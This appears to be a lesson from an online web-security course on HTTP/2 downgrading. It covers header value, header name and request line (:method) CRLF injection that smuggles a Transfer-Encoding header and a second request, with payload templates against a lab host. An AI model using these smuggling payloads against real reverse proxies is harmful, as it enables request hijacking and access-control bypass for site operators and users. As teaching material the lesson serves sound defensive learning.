HTTP Attacks
Further H2 Vulnerabilities
While the H2.CL and H2.TE vulnerabilities we have discussed in the previous section are straightforward exploits, there are more complex H2 vulnerabilities. In many cases, the reverse proxy's request rewriting is not vulnerable simply when the CL or TE headers are present. However, we can exploit differences in HTTP/1.1 and HTTP/2 to trick the reverse proxy into rewriting the request in a way that causes desynchronization. In this section, we will discuss these more complex cases that can lead to request smuggling vulnerabilities in HTTP/2 downgrading settings.
Foundation
Since HTTP/2 is a binary protocol, there are inherent differences in the way data is represented in HTTP/1.1 and HTTP/2 requests. These differences in data representation lead to different behavior when it comes to certain control characters. In particular, HTTP headers in HTTP/1.1 cannot contain the CRLF control sequence \r\n since this sequence is used to terminate a header. If it was included in a header value, it would just terminate the header. However, in HTTP/2 the headers are represented completely differently such that arbitrary characters can be contained in the headers, at least in theory. In practice, the HTTP/2 RFC defines the following restrictions in section 8.2.1:
Failure to validate fields can be exploited for request smuggling attacks.
In particular, unvalidated fields might enable attacks when messages are forwarded using HTTP/1.1,
where characters such as carriage return (CR), line feed (LF), and COLON are used as delimiters.
Implementations MUST perform the following minimal validation of field names and values:
- A field name MUST NOT contain characters in the ranges 0x00-0x20, 0x41-0x5a, or 0x7f-0xff (all ranges inclusive). This specifically excludes all non-visible ASCII characters, ASCII SP (0x20), and uppercase characters ('A' to 'Z', ASCII 0x41 to 0x5a).
- With the exception of pseudo-header fields, which have a name that starts with a single colon, field names MUST NOT include a colon (ASCII COLON, 0x3a).
- A field value MUST NOT contain the zero value (ASCII NUL, 0x00), line feed (ASCII LF, 0x0a), or carriage return (ASCII CR, 0x0d) at any position.
- A field value MUST NOT start or end with an ASCII whitespace character (ASCII SP or HTAB, 0x20 or 0x09).
<SNIP>
A request or response that contains a field that violates any of these conditions MUST be treated as malformed.
In particular, an intermediary that does not process fields when forwarding messages MUST NOT
forward fields that contain any of the values that are listed as prohibited above.
In particular, according to the standard, implementations should reject requests containing special characters like CR, LF, and : in HTTP headers. If a reverse proxy does not implement this correctly or skips it entirely, we might be able to exploit request smuggling by creating an H2.TE vulnerability. Let's discuss a few examples of this.
Request Header Injection
If the reverse proxy does not check for CRLF characters in HTTP/2 header values before rewriting the request to HTTP/1.1, we might be able to create a request smuggling vulnerability with an HTTP/2 request like the following (header names are red, header values are green, and the request body is yellow):
:method POST
:path /
:authority http2.htb
:scheme http
dummy asd\r\nTransfer-Encoding: chunked
0
GET /smuggled HTTP/1.1
Host: http2.htb
The HTTP/2 request contains a header dummy with the value asd\r\nTransfer-Encoding: chunked since the CRLF sequence has no special meaning in HTTP/2. A vulnerable reverse proxy creates the following TCP stream:
POST / HTTP/1.1
Host: http2.htb
Dummy: asd
Transfer-Encoding: chunked
Content-Length: 48
0
GET /smuggled HTTP/1.1
Host: http2.htb
When rewriting the request to HTTP/1.1, the semantics of the CRLF sequence changes as it now separates headers from each other. Therefore, the HTTP/1.1 request now contains a header Dummy with the value asd, and a header Transfer-Encoding with the value chunked. Furthermore, the reverse proxy adds the CL header in the rewriting process to inform the web server about the request body's length. However, since the TE header has precedence over the CL header, the web server treats the first request as having chunked encoding. Thus, we have an H2.TE vulnerability.
Header Name Injection
A similar issue arises if the reverse proxy does not properly check the HTTP/2 header names before rewriting the request to HTTP/1.1. We might be able to create a request smuggling vulnerability with an HTTP/2 request like the following (header names are red, header values are green, and the request body is yellow):
:method POST
:path /
:authority http2.htb
:scheme http
dummy: asd\r\nTransfer-Encoding chunked
0
GET /smuggled HTTP/1.1
Host: http2.htb
The HTTP/2 request contains a header dummy: asd\r\nTransfer-Encoding with the value chunked since the CRLF sequence has no special meaning in HTTP/2. A vulnerable reverse proxy creates the following TCP stream:
POST / HTTP/1.1
Host: http2.htb
Dummy: asd
Transfer-Encoding: chunked
Content-Length: 48
0
GET /smuggled HTTP/1.1
Host: http2.htb
When rewriting the request to HTTP/1.1, the semantics of the CRLF sequence changes as it now separates headers from each other. Therefore, the HTTP/1.1 request now contains a header Dummy with the value asd, and a header Transfer-Encoding with the value chunked. Just like in the previous case, we have an H2.TE vulnerability since the TE header has precedence over the CL header in HTTP/1.1.
Request Line Injection
Since pseudo-headers are special in HTTP/2, they might be treated differently. It might therefore be worth checking them separately, since potential validation checks may not be applied. For instance, we can achieve request smuggling if the reverse proxy does not properly check the HTTP/2 pseudo-headers before rewriting the request to HTTP/1.1 with an HTTP/2 request like the following (header names are red, header values are green, and the request body is yellow):
:method POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nDummy: asd
:path /
:authority http2.htb
:scheme http
0
GET /smuggled HTTP/1.1
Host: http2.htb
The HTTP/2 request contains the value POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nDummy: asd in the pseudo-header :method. A vulnerable reverse proxy creates the following TCP stream:
POST / HTTP/1.1
Transfer-Encoding: chunked
Dummy: asd / HTTP/1.1
Host: http2.htb
Content-Length: 48
0
GET /smuggled HTTP/1.1
Host: http2.htb
When rewriting the request to HTTP/1.1, the CRLF sequence in the method pseudo-header results in the TE header being added to the request. The actual path and HTTP/1.1 keyword are appended to the Dummy HTTP header during the rewriting process. Therefore, the HTTP/1.1 request now contains a header Dummy with the value asd / HTTP/1.1, and a header Transfer-Encoding with the value chunked. Just like in the previous cases, we have an H2.TE vulnerability since the TE header has precedence over the CL header in HTTP/1.1.
Table of Contents
Introduction to HTTP Attacks
Introduction to HTTP AttacksCRLF Injection
Introduction to CRLF Injection Log Injection HTTP Response Splitting SMTP Header Injection CRLF Injection Prevention & ToolsHTTP Request Smuggling/Desync Attacks
Introduction to Request Smuggling CL.TE TE.TE TE.CL Vulnerable Software Exploitation of Request Smuggling Request Smuggling Tools & PreventionHTTP/2 Downgrading
Introduction to HTTP/2 HTTP/2 Downgrading Further H2 Vulnerabilities HTTP/2 Downgrading Tools & PreventionHTTP Attacks - Skills Assessment
Skills AssessmentMy Workstation
OFFLINE
/ 1 spawns left